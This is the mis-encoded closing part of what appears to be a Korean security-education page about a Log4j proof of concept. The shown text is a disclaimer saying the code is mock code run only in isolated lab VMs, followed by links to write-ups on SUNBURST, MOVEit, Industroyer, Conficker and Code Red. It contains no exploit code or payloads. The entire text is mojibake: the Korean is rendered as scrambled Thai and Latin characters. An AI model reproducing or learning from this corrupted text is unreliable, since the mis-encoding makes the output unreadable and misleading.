โ€ป ๋ณธ๋ฌธ์˜ PoC ์ฝ”๋“œ๋Š” ๊ตฌ์กฐ ์ดํ•ด ๋ชฉ์ ์˜ ๊ต์œก์šฉ ๋ชจ์˜ ์ฝ”๋“œ์ด๋ฉฐ, ์‹ค์ œ Log4j ๋ฐ”์ด๋„ˆ๋ฆฌยท์‹ค์ œ ์•…์„ฑ LDAP/RMI ์„œ๋ฒ„ยท์›๊ฒฉ ํด๋ž˜์Šค ๋กœ๋”ฉ ํŽ˜์ด๋กœ๋“œยท์‹ค์ œ ์ต์Šคํ”Œ๋กœ์ž‡ ๋ฌธ์ž์—ด/IOCยท์‹ค์ œ ๊ณต๊ฒฉ ๋„๋ฉ”์ธ์€ ํฌํ•จํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋ชจ๋“  ์‹ค์Šต์€ ์ธํ„ฐ๋„ท๊ณผ ๋ถ„๋ฆฌ๋œ ๊ฒฉ๋ฆฌ ๋žฉ VM์„ ์ „์ œ๋กœ ํ•˜๋ฉฐ, ์‹ค์ œ ์‹œ์Šคํ…œยทํƒ€์ธ ์ž์‚ฐ์— ๋Œ€ํ•œ ์‹คํ–‰์€ ๋ถˆ๋ฒ•์ž…๋‹ˆ๋‹ค.

ํ•จ๊ป˜ ์ฝ๊ธฐ: ๐Ÿฆ… SolarWinds SUNBURST (2020) โ€” ์‹ ๋ขฐ๋ฐ›๋Š” ์†Œํ”„ํŠธ์›จ์–ด ๊ณต๊ธ‰๋ง์˜ ๋ถ•๊ดด ยท ๐Ÿ—‚๏ธ MOVEit/Cl0p (2023) โ€” ์ทจ์•ฝ์  ํ•˜๋‚˜๋กœ ๋Œ€๋Ÿ‰ ์œ ์ถœ ยท โšก Industroyer/CrashOverride โ€” '์ต์Šคํ”Œ๋กœ์ž‡ ์—†์ด' ํ”„๋กœํ† ์ฝœ์„ ๋งํ•œ ์•…์„ฑ์ฝ”๋“œ ยท ๐Ÿชฑ Conficker (2008) โ€” ํŒจ์น˜ยท๋Œ€์‘์˜ ๊ฒฝ์ œํ•™ ยท ๐ŸŸฅ Code Red (2001) โ€” ์›น ์„œ๋ฒ„ ์ทจ์•ฝ์  ํ•˜๋‚˜๊ฐ€ ๋งŒ๋“  ๋Œ€๋Ÿ‰ ๊ฐ์—ผ

๋ชฉ๋ก์œผ๋กœ ๋Œ์•„๊ฐ€๊ธฐ